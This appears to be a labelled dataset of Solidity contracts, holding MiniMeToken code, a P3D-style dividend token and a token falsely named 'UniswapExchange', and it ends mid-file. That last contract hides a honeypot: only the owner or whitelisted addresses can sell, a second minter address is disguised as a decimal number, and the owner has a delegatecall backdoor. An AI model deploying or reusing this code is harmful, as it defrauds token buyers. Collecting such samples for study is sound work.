ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _owner, uint256 _amount);
event TokensWithdrawn(address indexed _holder, uint256 _amount);
}
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract InvestorWalletFactory is InvestorWalletFactoryI, Ownable {
MiniMeToken public wct2;
function InvestorWalletFactory(address _wct2) public {
wct2 = MiniMeToken(_wct2);
}
function createInvestorWallet(
uint256 _monthsToRelease,
address _investor,
uint256 _amount
) onlyOwner returns (InvestorWallet) {
InvestorWallet newWallet = new InvestorWallet(
address(wct2),
address(this),
_monthsToRelease
);
newWallet.transferOwnership(_investor);
wct2.generateTokens(newWallet, _amount);
return newWallet;
}
function setExchanger(address _exchanger) public onlyOwner {
exchanger = _exchanger;
}
function retrieveWCT2() public onlyOwner {
wct2.changeController(msg.sender);
}
}
| 1 | 3,904 |
contract BossWage {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(getDividends(msg.sender, true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Boss Wage";
string public symbol = "BSW";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
P3D constant public p3d = P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => bool) public disabled;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
address public vault;
constructor() public {
vault = msg.sender;
administrators[keccak256(msg.sender)] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.sender, msg.value, _referredBy);
}
function()
payable
public
{
if (msg.sender != address(p3d)) {
purchaseTokens(msg.sender, msg.value, 0x0);
}
}
function reinvest()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = getDividends(_customerAddress, false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(msg.sender, _dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function reinvestFor(address _for)
public
{
require(disabled[_for] == false);
uint256 _dividends = dividendsOf(_for);
uint256 _referrals = referralBalance_[_for];
require((_dividends + _referrals) > 0);
payoutsTo_[_for] += (int256) (_dividends * magnitude);
_dividends += _referrals;
referralBalance_[_for] = 0;
uint256 _tokens = purchaseTokens(_for, _dividends, msg.sender);
onReinvestment(_for, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = getDividends(_customerAddress, false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _undividedDividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _undividedDividends);
uint256 _bonus = SafeMath.div(_undividedDividends, dividendFee_);
uint256 _dividends = SafeMath.sub(_undividedDividends, SafeMath.mul(_bonus, 2));
referralBalance_[vault] = SafeMath.add(referralBalance_[vault], _bonus);
p3d.buy.value(_bonus)(_customerAddress);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(getDividends(_customerAddress, true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _undividedDividends = tokensToEthereum_(_tokenFee);
uint256 _bonus = SafeMath.div(_undividedDividends, dividendFee_);
uint256 _dividends = SafeMath.sub(_undividedDividends, SafeMath.mul(_bonus, 2));
referralBalance_[vault] = SafeMath.add(referralBalance_[vault], _bonus);
p3d.buy.value(_bonus)(_customerAddress);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function cannibalize() public {
address _customerAddress = address(this);
uint256 _dividends = getDividends(_customerAddress, false);
uint256 _referrals = referralBalance_[_customerAddress];
if (_dividends > 0) {
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
}
uint256 p3dDivs = p3d.myDividends(true);
if (p3dDivs > 0) {
p3d.withdraw();
_dividends = SafeMath.add(_dividends, p3dDivs);
}
_dividends += _referrals;
referralBalance_[_customerAddress] = 0;
require(_dividends > 0);
uint256 _tokens = purchaseTokens(_customerAddress, _dividends, msg.sender);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function toggle(bool _auto) public {
disabled[msg.sender] = _auto;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setVault(address _vault)
onlyAdministrator()
public
{
vault = _vault;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function getDividends(address _customerAddress, bool _includeReferralBonus)
public
view
returns(uint256)
{
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function contractDivs()
public
view
returns(uint256)
{
return SafeMath.add(getDividends(address(this), true), p3d.myDividends(true));
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(address _customerAddress, uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 [] memory bonus = new uint256[](2);
bonus[0] = SafeMath.div(_undividedDividends, 3);
bonus[1] = SafeMath.div(_undividedDividends, dividendFee_);
uint256 _dividends = SafeMath.sub(SafeMath.sub(_undividedDividends, bonus[0]), SafeMath.mul(bonus[1], 2));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
referralBalance_[vault] = SafeMath.add(referralBalance_[vault], bonus[1]);
p3d.buy.value(bonus[1])(_customerAddress);
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], bonus[0]);
} else {
_dividends = SafeMath.add(_dividends, bonus[0]);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function check() external {}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract P3D {
uint256 public stakingRequirement;
function buy(address _referredBy) public payable returns(uint256) {}
function balanceOf(address _customerAddress) view public returns(uint256) {}
function exit() public {}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) {}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { }
function myDividends(bool _includeReferralBonus) public view returns(uint256) {}
function withdraw() public {}
}
| 1 | 4,091 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 3,486 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
